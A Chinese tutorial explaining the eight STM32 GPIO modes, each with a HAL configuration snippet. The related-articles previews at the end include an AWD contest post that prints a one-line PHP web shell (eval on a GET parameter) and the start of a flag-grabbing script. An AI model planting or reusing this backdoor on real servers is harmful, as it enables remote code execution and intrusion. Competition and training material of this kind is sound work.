当前位置: 首页 > news >正文

详细解析STM32 GPIO引脚的8种模式

目录

一、输入浮空(Floating Input):GPIO引脚不连接任何上拉或下拉电阻,处于高阻态

1.浮空输入的定义

2.浮空输入的特点

3.浮空输入的应用场景

4.浮空输入的缺点

5.典型配置方式

6.注意事项

二、输入上拉(Input Pull-up)与输入下拉(Input Pull-down)

1.上拉输入(PullupInput)

特点:

应用场景:

配置示例:

2.下拉输入(PulldownInput)

特点:

应用场景:

配置示例:

3.上拉输入与下拉输入的对比

4.使用注意事项

三、模拟输入(Analog Input):模拟输入模式下,GPIO引脚用于接受模拟信号,而不限制为高、低电平

1.模拟输入的定义

2.模拟输入的特点

3.模拟输入的工作原理

4.模拟输入的应用场景

5.配置示例

7.注意事项

8.模拟输入与数字输入的对比

四、开漏输出(Open-drain Output):GPIO引脚只有低电平导通(连接到GND)和高阻态(悬空)两种状态。

1.开漏输出的工作原理

2.开漏输出的特点

3.应用场景

4.上拉电阻的作用

5.开漏输出的配置示例

6.开漏输出和推挽输出的对比

7.注意事项

五、推挽输出(Push-pull Output):GPIO引脚可以主动输出高电平或低电平

1.推挽输出的工作原理

2.推挽输出的特点

3.推挽输出的应用场景

4.推挽输出的配置示例

5.推挽输出和开漏输出的对比

6.推挽输出的优缺点

六、推挽式复用功能(Push-pull Alternate Function)与开漏复用功能(Open-drain Alternate Function)

0.什么是复用

在微控制器中,常见的复用功能包括:

复用的必要性

复用的设置方式

复用的应用示例

1.复用开漏输出(AlternateFunctionOpenDrain)

工作原理

应用场景

配置代码示例

特点

2.复用推挽输出(AlternateFunctionPushPull)

工作原理

应用场景

配置代码示例

特点

3.复用开漏输出和复用推挽输出的对比


在嵌入式系统设计中,GPIO(通用输入输出)引脚是非常重要的硬件资源,通常用于与外部设备进行通信和控制。不同的工作模式允许GPIO引脚在不同的场景下执行不同的任务。STM32等微控制器提供了多种GPIO模式,今天我们将详细介绍这八种常见的GPIO模式,帮助你更好地理解它们的功能和应用场景。

一、输入浮空(Floating Input):GPIO引脚不连接任何上拉或下拉电阻,处于高阻态

浮空输入(FloatingInput)是一种GPIO(通用输入输出)引脚的配置模式,在这种模式下,引脚处于高阻态(HiZ),不连接任何上拉或下拉电阻。

1.浮空输入的定义


在浮空输入模式下,GPIO引脚不被内部电阻拉到任何固定电平(高或低),这意味着该引脚完全开放,以高阻抗的状态接受外部输入信号。高阻态意味着引脚不会主动提供电流或电压,而是允许外部电路自由地改变其电平。

2.浮空输入的特点


高阻态:浮空输入模式不会主动驱动高或低电平,对外部电路几乎不影响电流流动,类似于断开的电路。
易受干扰:由于引脚未通过内部电阻固定电位,因此当输入端未连接外部信号时,引脚状态可能不稳定,容易受到外部电磁干扰或信号“漂移”影响,使得输入信号变得不确定。
响应外部信号:浮空输入的高阻态允许引脚通过外部信号轻松控制电平,因此适合需要外部控制的场景。

3.浮空输入的应用场景


需要外部电阻的输入电路:适用于外部已经连接了上拉或下拉电阻的情况。如果电路中使用了物理电阻拉高或拉低引脚,浮空输入模式不会与之冲突,保持对输入信号的响应。
信号检测:适合用于检测外部信号变化的场合,如传感器信号输入,但通常需要外部电路保证信号稳定,避免悬空带来的信号漂移。
低功耗应用:在一些低功耗设备中,未连接的GPIO引脚可以配置为浮空输入以减少功耗,因为高阻态下引脚不会有明显的电流流动。

4.浮空输入的缺点


不稳定性:由于没有电阻将电平固定在高或低状态,悬空的浮空输入引脚非常容易受到干扰。任何微小的环境噪声或干扰都会导致引脚电压变化,导致不确定的输入信号。
误触发风险:在悬空情况下,引脚可能随意“漂移”到高或低电平,可能导致逻辑电路误判为输入有效信号而误触发事件。

5.典型配置方式

GPIO_InitTypeDefGPIO_InitStruct={0};
GPIO_InitStruct.Pin=GPIO_PIN_X;//X代表具体的引脚编号
GPIO_InitStruct.Mode=GPIO_MODE_INPUT;//设置为浮空输入模式
GPIO_InitStruct.Pull=GPIO_NOPULL;//无内部上拉或下拉电阻
HAL_GPIO_Init(GPIOX,&GPIO_InitStruct);//X为GPIO端口号

6.注意事项


尽量避免引脚悬空:为了避免干扰和不稳定信号,如果浮空输入引脚没有外部电路连接,最好改用上拉或下拉配置,以确保引脚稳定。
外部电路稳定性:如果使用浮空输入,通常建议使用外部上拉或下拉电阻来固定电平,避免引脚无意触发。

浮空输入适合有明确外部驱动的输入场景,而在信号易受干扰或要求信号稳定的场合,建议采用上拉或下拉输入。

二、输入上拉(Input Pull-up)与输入下拉(Input Pull-down)

上拉输入(PullupInput)和下拉输入(PulldownInput)是GPIO引脚的两种常见输入模式,通过在引脚内部连接上拉或下拉电阻来使引脚保持稳定电位,防止其悬空。

1.上拉输入(PullupInput)

上拉输入模式在引脚内部连接一个上拉电阻,将引脚电位固定为高电平(接近电源电压)。这种模式确保引脚在没有外部信号连接时仍保持高电平。

特点:


默认高电平:上拉输入通过内部上拉电阻将引脚电位拉高到接近电源电压,使引脚在无外部信号时默认保持高电平状态。
抗干扰能力:上拉输入避免了引脚悬空问题,能减少环境噪声对引脚电平的影响。
省去外部电阻:内置的上拉电阻可以省去电路设计中的额外电阻,简化硬件布线。

应用场景:


按钮或开关输入检测:在许多按钮和开关检测电路中,按钮按下连接到地,释放时引脚通过上拉电阻保持高电平,可以实现低电平触发检测。
逻辑信号保持高电平:在需要保持输入信号默认高电平的逻辑电路中,通常将引脚设置为上拉输入。

配置示例:


GPIO_InitTypeDefGPIO_InitStruct={0};
GPIO_InitStruct.Pin=GPIO_PIN_X;//X代表具体的引脚编号
GPIO_InitStruct.Mode=GPIO_MODE_INPUT;//设置为输入模式
GPIO_InitStruct.Pull=GPIO_PULLUP;//启用上拉电阻
HAL_GPIO_Init(GPIOX,&GPIO_InitStruct);//X为GPIO端口号

2.下拉输入(PulldownInput)

下拉输入模式则在引脚内部连接一个下拉电阻,将引脚电位固定为低电平(接近地电位)。这种模式确保引脚在没有外部信号连接时默认保持低电平。

特点:


默认低电平:下拉输入通过内部下拉电阻将引脚电位拉低到接近地电位,使引脚在无外部信号时默认保持低电平状态。
抗干扰能力:下拉输入模式同样可以防止引脚悬空,减少引脚受噪声影响而电平不稳定。
节省硬件资源:使用内部下拉电阻可以避免在电路设计中增加额外的外部电阻,简化电路设计。

应用场景:


按钮或开关输入检测:适用于按钮或开关检测电路,通常当按钮按下连接到电源,释放时引脚通过下拉电阻保持低电平,可以实现高电平触发检测。
逻辑信号保持低电平:需要输入信号默认保持低电平的逻辑电路中,通常将引脚设置为下拉输入。

配置示例:
 

GPIO_InitTypeDefGPIO_InitStruct={0};
GPIO_InitStruct.Pin=GPIO_PIN_X;//X代表具体的引脚编号
GPIO_InitStruct.Mode=GPIO_MODE_INPUT;//设置为输入模式
GPIO_InitStruct.Pull=GPIO_PULLDOWN;//启用下拉电阻
HAL_GPIO_Init(GPIOX,&GPIO_InitStruct);//X为GPIO端口号

3.上拉输入与下拉输入的对比

4.使用注意事项


选择合适的模式:根据需要的默认电平选择上拉或下拉输入,避免出现悬空状态。
电平兼容性:在与外部电路连接时,确保与外部电路的逻辑电平兼容,避免产生意外的电流流动。
防止误触发:上拉和下拉输入模式有效地防止引脚浮空,有助于减少外部干扰引起的误触发。

三、模拟输入(Analog Input):模拟输入模式下,GPIO引脚用于接受模拟信号,而不限制为高、低电平

模拟输入(AnalogInput)是一种GPIO引脚配置模式,主要用于处理模拟信号,将模拟量转换为数字信号。模拟输入模式通常应用在需要采集连续变化的电压信号的场景,例如温度、光线、湿度等传感器的数据采集。

1.模拟输入的定义


在模拟输入模式下,GPIO引脚接收一个模拟信号,即一个连续变化的电压值,而不是传统的高低电平。处理模拟信号通常需要将其输入至一个模数转换器(ADC,AnalogtoDigitalConverter),由ADC模块将连续的模拟信号采样并量化为数字值,以便在数字系统中进一步处理和分析。

2.模拟输入的特点


连续电压范围:模拟输入可以接受从0V到芯片供电电压(如3.3V或5V)之间的任何电压值,区别于仅能接收高电平或低电平的数字输入。
无上拉/下拉电阻:在模拟输入模式下,引脚不具备上拉或下拉电阻,以确保信号不会受到内部电路的影响,尽可能准确地反映外部信号的真实电平。
配合ADC使用:模拟输入模式通常配合ADC模块,将模拟信号采样并转换为数字数据。ADC会对模拟电压进行量化,转换成若干个离散的数值,这些数值用以表示输入的电压信号强度。

3.模拟输入的工作原理


模拟信号通过模拟输入引脚进入ADC,ADC模块按设定的采样速率对信号进行采集,并将每一个采样的电压值转换成数字量。ADC通常会根据位数(如8位、10位、12位等)将电压量化到相应的范围内。例如,对于10位ADC,电压范围会被量化为0到1023的数字值。

4.模拟输入的应用场景


模拟输入模式广泛应用于需要采集传感器数据的场合,尤其是以下情况:
环境监测传感器:如温度传感器、光敏传感器、湿度传感器等,其输出的电压随环境变化连续变化。
模拟设备接口:如音频信号采集(麦克风)、模拟电位器(用于音量调节)、气压传感器等。
电池电压监测:用于实时监控电池电压以判断其电量状态。

5.配置示例


在微控制器中配置模拟输入通常包括两个步骤:将引脚配置为模拟输入模式,并启用ADC功能。下面是一个典型的配置示例:

GPIO_InitTypeDefGPIO_InitStruct={0};
GPIO_InitStruct.Pin=GPIO_PIN_X;//X代表具体的引脚编号
GPIO_InitStruct.Mode=GPIO_MODE_ANALOG;//配置为模拟输入模式
GPIO_InitStruct.Pull=GPIO_NOPULL;//无内部上拉或下拉电阻
HAL_GPIO_Init(GPIOX,&GPIO_InitStruct);//X为GPIO端口号ADC_HandleTypeDefhadc;
hadc.Instance=ADCX;//ADC通道编号
HAL_ADC_Start(&hadc);//启动ADC
HAL_ADC_PollForConversion(&hadc,timeout);//等待ADC转换完成
uint32_tadcValue=HAL_ADC_GetValue(&hadc);//获取ADC的数值

7.注意事项


信号稳定性:由于模拟输入容易受到噪声干扰,应确保输入信号源稳定。如有必要,可以通过添加滤波电容等方式减少干扰。
输入电压范围:输入电压应在ADC的参考电压范围内,通常为0到Vref(供电电压),过高的电压可能损坏ADC。
采样速率与分辨率:选择合适的采样速率和分辨率,以确保采样数据的准确性。高分辨率可以提高数据精度,但也可能增加处理时间和计算资源的需求。

8.模拟输入与数字输入的对比

 


模拟输入模式通过将连续电压信号输入至ADC进行数字化转换,广泛应用于传感器、模拟信号采集等领域。配置模拟输入时需要注意信号范围、滤波抗干扰以及采样速率等因素,以确保采集数据的准确性和稳定性。

四、开漏输出(Open-drain Output):GPIO引脚只有低电平导通(连接到GND)和高阻态(悬空)两种状态。

开漏输出(OpenDrainOutput)是GPIO(通用输入输出)引脚的一种输出模式,在这种模式下,GPIO引脚只能主动拉低至低电平(连接到地,GND),而不能主动输出高电平。当GPIO设置为开漏输出模式时,引脚可以处于两种状态:低电平或高阻态(HiZ),这使得开漏输出适合与外部电路或多个设备共同工作。

1.开漏输出的工作原理


低电平(导通):当GPIO输出低电平时,内部的MOSFET开关接通,将引脚与地相连,这一状态被称为“拉低”。
高阻态(断开):当GPIO不输出低电平时,引脚进入高阻态,表现为开路(不接地,也不接电源),不会输出高电平。这时引脚电压依赖于外部电路的作用,例如一个外部上拉电阻将引脚拉高。

2.开漏输出的特点


不主动输出高电平:在开漏模式下,GPIO引脚无法主动输出高电平,只能通过外部电路提供高电平,通常需要使用上拉电阻将引脚电平“拉高”。
高阻态可实现多设备连接:开漏输出具有高阻态,不会干扰其他设备的信号,适合用于多设备通信场合。
低功耗:在高阻态时,引脚不会消耗显著的电流,因此开漏输出可以实现低功耗。

3.应用场景

多设备通信
I²C总线:在I²C通信中,数据线和时钟线都采用开漏输出模式,并通过外部上拉电阻拉高,使得总线上的多个设备能够安全地共享同一条通信线。在此模式下,任何设备只需拉低总线来传输数据,而不会出现多个设备同时输出高电平引起冲突的情况。

控制大电流设备
继电器、LED等驱动:开漏输出可以连接较大功率的负载(如继电器或LED灯),通过拉低GPIO引脚来导通负载电路,适合用于电流较大的场合。GPIO低电平时驱动负载,高阻态时关闭负载电路。

与不同电压系统互连
不同电压逻辑电平兼容:开漏输出模式允许不同电压的系统相互通信,例如在低电压单片机和高电压设备之间添加上拉电阻,使得两者能够安全互连。

4.上拉电阻的作用


由于开漏输出不提供高电平,通常需要连接一个上拉电阻来将引脚拉高:
外部上拉电阻:上拉电阻通常连接至电源正极(如VCC),在GPIO高阻态时,将引脚电平拉至电源电压。
上拉电阻值选择:上拉电阻的阻值一般为4.7kΩ到10kΩ,过大可能导致上拉速度变慢,过小则会增大电流消耗。

5.开漏输出的配置示例


GPIO_InitTypeDefGPIO_InitStruct={0};
GPIO_InitStruct.Pin=GPIO_PIN_X;//X代表具体的引脚编号
GPIO_InitStruct.Mode=GPIO_MODE_OUTPUT_OD;//设置为开漏输出模式
GPIO_InitStruct.Pull=GPIO_NOPULL;//不使用内部上拉或下拉电阻
HAL_GPIO_Init(GPIOX,&GPIO_InitStruct);//X为GPIO端口号//在此模式下,可以根据需要在引脚外部连接上拉电阻。开漏输出模式下,通过如下代码控制引脚状态:HAL_GPIO_WritePin(GPIOX,GPIO_PIN_X,GPIO_PIN_RESET);//输出低电平,拉低引脚
HAL_GPIO_WritePin(GPIOX,GPIO_PIN_X,GPIO_PIN_SET);//输出高阻态,不主动拉高

6.开漏输出和推挽输出的对比

 

7.注意事项


确保使用上拉电阻:开漏输出无法提供高电平,在无上拉电阻的情况下,引脚可能悬空,电平不确定。
高低电平状态兼容:确保在使用开漏输出时与外部电路逻辑电平兼容,避免因电平不兼容导致不稳定或损坏。
多设备连接的冲突风险:开漏输出模式有利于避免多设备同时输出高电平导致的冲突,但在实际应用中仍需确保多设备协调时序。

开漏输出模式通过“低电平+高阻态”提供灵活的多设备连接和电平控制能力,适合用于I²C总线、驱动大功率负载、不同电压系统通信等场合。结合外部上拉电阻使用,开漏输出能够在不同应用中提供稳定的电平控制和通信功能。

五、推挽输出(Push-pull Output):GPIO引脚可以主动输出高电平或低电平

推挽输出(PushPullOutput)是GPIO的一种输出模式。在这种模式下,GPIO引脚可以主动输出高电平和低电平,适合需要快速切换电平状态和较高电流驱动能力的应用场景。推挽输出在单片机、微控制器、FPGA等数字电路中非常常见。

1.推挽输出的工作原理


推挽输出模式是通过两个MOSFET(或晶体管)实现的,一个负责输出高电平(接电源正极,通常是VCC),另一个负责输出低电平(接地,GND)。当GPIO需要输出高电平时,上面的MOSFET导通,输出端接VCC;当需要输出低电平时,下面的MOSFET导通,输出端接GND。
输出高电平:上部MOSFET导通,下部MOSFET断开,GPIO引脚被拉到高电平。
输出低电平:下部MOSFET导通,上部MOSFET断开,GPIO引脚被拉到低电平。

2.推挽输出的特点


主动输出高低电平:推挽输出可以主动拉高到VCC或拉低到GND,无需外部上拉或下拉电阻。
电平切换迅速:由于输出的电平切换是通过内部MOSFET驱动实现的,切换速度较快,适合快速变化的信号。
较大的驱动电流:推挽模式下的引脚通常具有较大的驱动能力,可以直接驱动一些小功率负载,如LED。

3.推挽输出的应用场景


控制信号输出:用作数字信号的驱动,如发送PWM信号控制电机、LED等。
高速通信:用于通信总线或时钟信号输出(如SPI的时钟信号),适合要求快速切换电平的应用。
驱动简单负载:可以直接驱动一些小功率的负载,如LED灯,或通过简单的电路控制继电器等。

4.推挽输出的配置示例

GPIO_InitTypeDefGPIO_InitStruct={0};
GPIO_InitStruct.Pin=GPIO_PIN_X;//X代表具体的引脚编号
GPIO_InitStruct.Mode=GPIO_MODE_OUTPUT_PP;//设置为推挽输出模式
GPIO_InitStruct.Pull=GPIO_NOPULL;//不使用内部上拉或下拉电阻
GPIO_InitStruct.Speed=GPIO_SPEED_FREQ_HIGH;//设置为高速,适合快速切换信号
HAL_GPIO_Init(GPIOX,&GPIO_InitStruct);//X为GPIO端口号//可以通过以下代码来控制引脚输出状态:HAL_GPIO_WritePin(GPIOX,GPIO_PIN_X,GPIO_PIN_SET);//输出高电平
HAL_GPIO_WritePin(GPIOX,GPIO_PIN_X,GPIO_PIN_RESET);//输出低电平

5.推挽输出和开漏输出的对比

 

6.推挽输出的优缺点

优点
电平切换速度快:推挽输出的电平切换时间较短,适合高速信号。
无需外部电阻:推挽模式不需要上拉或下拉电阻,电路更简洁。
高驱动能力:推挽输出的电流驱动能力相对较大,可以直接驱动小型负载。

缺点
不适合多设备共享:推挽输出模式如果连接多个设备,可能会因多个设备同时输出相反电平引起冲突,导致电流过大而损坏电路。
功耗较高:在高频切换时,推挽输出的功耗相对较高。

7.注意事项
驱动能力限制:尽管推挽输出可以直接驱动一些小负载,但要避免超过其电流输出能力,以免损坏GPIO引脚。
电平冲突风险:避免将推挽输出的GPIO直接与其他输出模式的GPIO相连,防止出现电平冲突。

推挽输出模式提供了可靠的高低电平切换能力,适合用于高速控制信号和驱动小功率负载。相比开漏输出,推挽模式无需上拉电阻,电平切换快速且具有较强的驱动能力,但不适合与多个设备共用引脚。在使用时需特别注意电平冲突问题,以确保电路安全。

六、推挽式复用功能(Push-pull Alternate Function)与开漏复用功能(Open-drain Alternate Function)

复用开漏输出(AlternateFunctionOpenDrain)和复用推挽输出(AlternateFunctionPushPull)是GPIO的两种特殊模式,常用于引脚需要复用(AlternateFunction)的情况。在这种模式下,GPIO引脚会连接到芯片内的某些特定的外设功能上,比如I²C、SPI、USART等接口。这些模式让引脚在支持特定外设协议的同时,具备各自的输出特性。

0.什么是复用

复用(AlternateFunction)是指在微控制器的GPIO引脚上,除了基本的输入输出功能外,引脚还能被分配到特定的外设功能上,以满足不同的应用需求。复用允许同一个引脚在不同情况下承担不同的角色,比如用于通信、定时、控制等功能,从而有效利用芯片资源并减少引脚数量。

在微控制器中,常见的复用功能包括:


1.通信接口:GPIO引脚可以复用为I²C、SPI、UART、USART等通信总线的接口引脚,用于数据传输。
2.定时器功能:一些GPIO引脚可以复用为定时器的输入捕获或输出比较引脚,用于PWM输出、计时等。
3.模拟功能:部分引脚可以复用为ADC(模数转换器)、DAC(数模转换器)等模拟信号输入或输出通道。
4.外部中断:某些GPIO引脚可以复用为外部中断源,用于捕获事件或信号变化。

复用的必要性


在微控制器设计中,芯片引脚有限,复用可以让同一个引脚在不同需求下发挥多种作用,避免占用额外硬件资源。比如,当需要在有限引脚上实现复杂的功能或多个外设通信时,复用功能显得尤为重要。

复用的设置方式


复用通常通过寄存器配置来设置,每个引脚都对应一组复用选项,可以通过改变GPIO的配置来实现。例如在STM32微控制器中,可以通过配置GPIO的模式寄存器和复用功能寄存器来选择引脚的复用功能。

复用的应用示例


假设一个引脚既可以作为普通GPIO输出,又可以复用为UART通信的TX(发送)引脚。根据实际应用需求,这个引脚可以在不同的模式下被配置为:
普通GPIO输出:直接控制引脚的高低电平。
复用为UARTTX:将引脚配置为复用模式,并由UART外设控制数据的发送。

总结
复用功能让一个引脚可以在多个外设功能之间切换,从而在引脚有限的微控制器中实现更多功能。这在嵌入式系统中广泛应用,为实现通信、控制和信号处理等多种任务提供了灵活性。

1.复用开漏输出(AlternateFunctionOpenDrain)

复用开漏输出模式下,GPIO引脚作为外设的开漏输出。它可以被外设控制,输出低电平或进入高阻态(HiZ),而不主动输出高电平。通常需要外部上拉电阻以保证高电平,这种模式常用于需要多个设备共用一条总线的场景。

工作原理


低电平:当复用的外设要求输出低电平时,GPIO通过开漏模式将引脚接地。
高阻态:当不需要输出低电平时,引脚进入高阻态,引脚状态取决于上拉电阻,通常被拉高到电源电压(VCC)。

应用场景


I²C通信:I²C协议使用SDA(数据)和SCL(时钟)两根线,且要求总线上的设备通过开漏输出连接,因此使用复用开漏模式可以有效防止多设备电平冲突。
多设备通信:复用开漏模式适合用于要求引脚进入高阻态的情况,适用于多设备或不同电压之间通信。

配置代码示例


GPIO_InitTypeDefGPIO_InitStruct={0};
GPIO_InitStruct.Pin=GPIO_PIN_X;//X代表具体的引脚编号
GPIO_InitStruct.Mode=GPIO_MODE_AF_OD;//复用开漏输出模式
GPIO_InitStruct.Pull=GPIO_NOPULL;//不使用内部上拉电阻
GPIO_InitStruct.Speed=GPIO_SPEED_FREQ_HIGH;//设置为高速,适合频率较高的通信场合
GPIO_InitStruct.Alternate=GPIO_AFx_I2C;//设置为I²C外设复用功能
HAL_GPIO_Init(GPIOX,&GPIO_InitStruct);//X为GPIO端口号

特点


外设驱动输出:引脚由芯片内部的外设驱动,可以进入高阻态,允许多设备共用。
外部上拉电阻:需要通过外部上拉电阻来提供高电平。
电平冲突保护:由于支持高阻态,适合用于总线共享和多设备场景,降低电平冲突的风险。

2.复用推挽输出(AlternateFunctionPushPull)

复用推挽输出模式下,GPIO引脚作为外设的推挽输出。引脚可以在外设控制下输出高电平或低电平,通常不需要上拉电阻,因此适合单方向、快速切换的信号输出。

工作原理


高电平:当外设要求高电平时,GPIO引脚直接被驱动到VCC。
低电平:当外设要求低电平时,引脚被拉到地。

应用场景


SPI通信:SPI协议中,时钟(SCK)、数据(MOSI、MISO)等引脚通常使用复用推挽模式,因为SPI信号对驱动电流、传输速率和抗干扰要求较高。
UART、USART通信:UART和USART通信的TX和RX引脚也通常配置为复用推挽模式,以保证稳定的信号传输。
高速输出:适合单方向信号输出且不需要多设备共用引脚的情况,例如PWM输出控制或高速数据信号传输。

配置代码示例

GPIO_InitTypeDefGPIO_InitStruct={0};
GPIO_InitStruct.Pin=GPIO_PIN_X;//X代表具体的引脚编号
GPIO_InitStruct.Mode=GPIO_MODE_AF_PP;//复用推挽输出模式
GPIO_InitStruct.Pull=GPIO_NOPULL;//不使用内部上拉电阻
GPIO_InitStruct.Speed=GPIO_SPEED_FREQ_HIGH;//设置为高速,适合快速信号切换
GPIO_InitStruct.Alternate=GPIO_AFx_SPI;//设置为SPI外设复用功能
HAL_GPIO_Init(GPIOX,&GPIO_InitStruct);//X为GPIO端口号

特点


稳定的高低电平切换:复用推挽输出提供稳定的高低电平,适合高速传输信号。
无需外部电阻:推挽模式不需要外部上拉电阻,电路相对简单。
不适合多设备共享:推挽模式下无法进入高阻态,不适合多设备共用的引脚,容易引起电平冲突。

3.复用开漏输出和复用推挽输出的对比

 复用开漏输出适合需要多个设备共用信号线的情况,通过开漏和上拉电阻保证电平兼容,应用于I²C等协议。
复用推挽输出适合高速信号传输和单向信号驱动应用,广泛应用于SPI、UART等通信协议以及需要高速切换的信号输出场景。

STM32微控制器的GPIO引脚提供了丰富的配置选项,不仅可以作为基本的输入输出引脚,还可以通过复用功能实现多种通信协议和外设控制。通过合理配置这些模式,可以有效地节省引脚资源,提升系统的功能性和灵活性。

每种模式都有其独特的应用场景,开发者需要根据具体的需求选择合适的模式,从而实现高效且稳定的嵌入式设计。

相关文章:

详细解析STM32 GPIO引脚的8种模式

目录 一、输入浮空(Floating Input):GPIO引脚不连接任何上拉或下拉电阻,处于高阻态 1.浮空输入的定义 2.浮空输入的特点 3.浮空输入的应用场景 4.浮空输入的缺点 5.典型配置方式 6.注意事项 二、输入上拉(Inpu…...

【hacker送书第16期】Python数据分析、挖掘与可视化、AI全能助手ChatGPT职场工作效率提升技巧与案例

解锁数据分析与AI应用的双重秘密:全面推广《Python数据分析、挖掘与可视化从入门到精通》与《AI全能助手ChatGPT职场工作效率提升技巧与案例》 前言Python数据分析、挖掘与可视化从入门到精通💕内容简介获取方式 AI全能助手ChatGPT职场工作效率提升技巧与…...

翼鸥教育:从OceanBase V3.1.4 到 V4.2.1,8套核心集群升级实践

引言:自2021年起,翼鸥教育便开始应用OceanBase社区版,两年间,先后部署了总计12套生产集群,其中核心集群占比超过四分之三,所承载的数据量已突破30TB。自2022年10月,OceanBase 社区发布了4.2.x 版…...

WebGIS开发中不同坐标系坐标转换问题

在 JavaScript 中,使用 proj4 库进行坐标系转换是一个非常常见的操作。proj4 是一个支持多种坐标系的 JavaScript 库,提供了从一种坐标系到另一种坐标系的转换功能。 以下是使用 proj4 进行坐标系转换的基本步骤: 1. 安装 proj4 你可以通过…...

【青牛科技】视频监控器应用

1、简介: 我司安防产品广泛应用在视频监控器上,产品具有性能优良,可 靠性高等特点。 2、图示: 实物图如下: 3、具体应用: 标题:视频监控器应用 简介:视频监控器工作原理是光&#x…...

AWTK-WIDGET-WEB-VIEW 实现笔记 (3) - MacOS

MacOS 上实现 AWTK-WIDGET-WEB-VIEW 有点麻烦,主要原因是没有一个简单的办法将一个 WebView 嵌入到一个窗口中。所以,我们只能通过创建一个独立的窗口来实现。 1. 创建窗口 我对 Object-C 不熟悉,也不熟悉 Cocoa 框架,在 ChatGPT…...

PgSQL即时编译JIT | 第1期 | JIT初识

PgSQL即时编译JIT | 第1期 | JIT初识 JIT是Just-In-Time的缩写,也就是说程序在执行的时候生成可以执行的代码,然后执行它。在介绍JIT之前,需要说下两种执行方式:解释执行和编译执行。其中解释执行是通过解释器,将代码逐…...

Go小记:使用Go实现ssh客户端

一、前言 SSH(Secure Shell)是一种用于在不安全网络上安全访问远程计算机的网络协议。它通过加密的方式提供远程登录会话和其他网络服务,保证通信的安全性和数据的完整性。 本文使用golang.org/x/crypto/ssh包来实现SSH客户端 可以通过go …...

Nginx Spring boot指定域名跨域设置

1、Nginx配置跨域: server {listen 80;server_name your-backend-service.com;location / {proxy_pass http://localhost:8080; # Spring Boot应用的内部地址proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-F…...

深入理解Redis(七)----Redis实现分布式锁

基于Redis的实现方式 1、选用Redis实现分布式锁原因: (1)Redis有很高的性能; (2)Redis命令对此支持较好,实现起来比较方便 2、使用命令介绍: (1)SETNX SETNX …...

Database Advantages (数据库系统的优点)

数据库管理系统(DBMS)提供了一种结构化的方式来存储、管理和访问数据,与传统的文件处理系统相比,数据库提供了许多显著的优点。以下是数据库系统的主要优势: 1. Data Integrity (数据完整性) 概念:数据完整…...

Qt桌面应用开发 第五天(常用控件)

目录 1.QPushButton和ToolButton 1.1QPushButton 1.2ToolButton 2.RadioButton和CheckBox 2.1RadioButton单选按钮 2.2CheckBox多选按钮 3.ListWidget 4.TreeWidget控件 5.TableWidget控件 6.Containers控件 6.1QScrollArea 6.2QToolBox 6.3QTabWidget 6.4QStacke…...

初识Linux · 信号处理 · 续

目录 前言: 可重入函数 重谈进程等待和优化 前言: 在前文,我们已经介绍了信号产生,信号保存,信号处理的主题内容,本文作为信号处理的续篇,主要是介绍一些不那么重要的内容,第一个…...

【Linux】虚拟地址空间,页表,物理内存

目录 进程地址空间,页表,物理内存 什么叫作地址空间? 如何理解地址空间的区域划分? 地址空间结构体 为什么要有地址空间? 页表 cr3寄存器 权限标记位 位置标记位 其他 每个存储单元是一个字节,一…...

C++ 并发专题 - 线程安全的单例模式

一:概述: 在C编程中,call_once 是一种机制,用于确保某个函数或代码段在多线程环境下仅被调用一次。这种机制常用于初始化资源、配置全局变量或执行只需执行一次的逻辑。在 C11 标准中,std::call_once 是由标准库提供的…...

Spring Boot汽车世界:资讯与技术的交汇

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常…...

力扣 LeetCode 541. 反转字符串II(Day4:字符串)

解题思路&#xff1a; i可以成段成段的跳&#xff0c;而不是简单的i class Solution {public String reverseStr(String s, int k) {char[] ch s.toCharArray();// 1. 每隔 2k 个字符的前 k 个字符进行反转for (int i 0; i < ch.length; i 2 * k) {// 2. 剩余字符小于 …...

Django5 2024全栈开发指南(一):框架简介、环境搭建与项目结构

目录 一、Python Web框架要点二、Django流程2.1 Django介绍2.1.1 简介2.1.2 特点2.1.3 MVT模式2.1.4 Django新特性2.1.5 Django学习资料 2.2 搭建Django框架开发环境2.2.1 安装Python语言环境2.2.2 安装Django框架 2.3 创建Django项目2.4 Pycharm创建项目2.5 初试Django52.5.1 …...

Uniapp运行环境判断和解决跨端兼容性详解

Uniapp运行环境判断和解决跨端兼容性 开发环境和生产环境 uniapp可通过process.env.NODE_ENV判断当前环境是开发环境还是生产环境&#xff0c;一般用于链接测试服务器或者生产服务器的动态切换。在HX中&#xff0c;点击运行编译出来的代码是开发环境&#xff0c;点击发行编译…...

Linux设置开机自动执行脚本 rc-local

使用/etc/rc.local 1、启动rc-local服务 首先授予执行权限 chmod x /etc/rc.d/rc.local设置开启自启并启动 sudo systemctl enable rc-local sudo systemctl start rc-local查看状态 sudo systemctl status rc-local2、编写要执行的脚本 vim /home/start.sh #!/bin/bash…...

驱动开发小问题 -记录一下

1 D:\Windows Kits\10\Vsix\VS2022\10.0.26100.0\amd64 D:\Windows Kits\10\Vsix\VS2019 2 windows防火墙白板 无法设置通过powershell防火墙禁用 Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False 3 内核调试 vm虚拟机 设置成 NAT模式 &#xff…...

学习笔记018——若依框架数据权限功能的实现

ps&#xff1a;本文所使用的若依是前后端分离的v3.6.0版本。 1、建表 建立业务表的时候&#xff0c;需要在表中添加user_id和dept_id两个字段。&#xff08;字段一定要一样&#xff0c;下文能体现&#xff09; user_id&#xff1a;表中该条记录的创建人id dept_id&#xff1…...

Nginx文件下载服务器搭建

Nginx文件下载服务器搭建 80端口启动下载服务器, 下载/var/www/downloads目录下的文件&#xff0c;nginx.conf如下&#xff1a; server {listen 80;location /downloads/ {root /var/www/downloads;autoindex on; # 显示目录autoindex_localtime on;} }浏览器中访问&#xff…...

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…...

HarmonyOS 如何获取设备信息(系统、版本、网络连接状态)

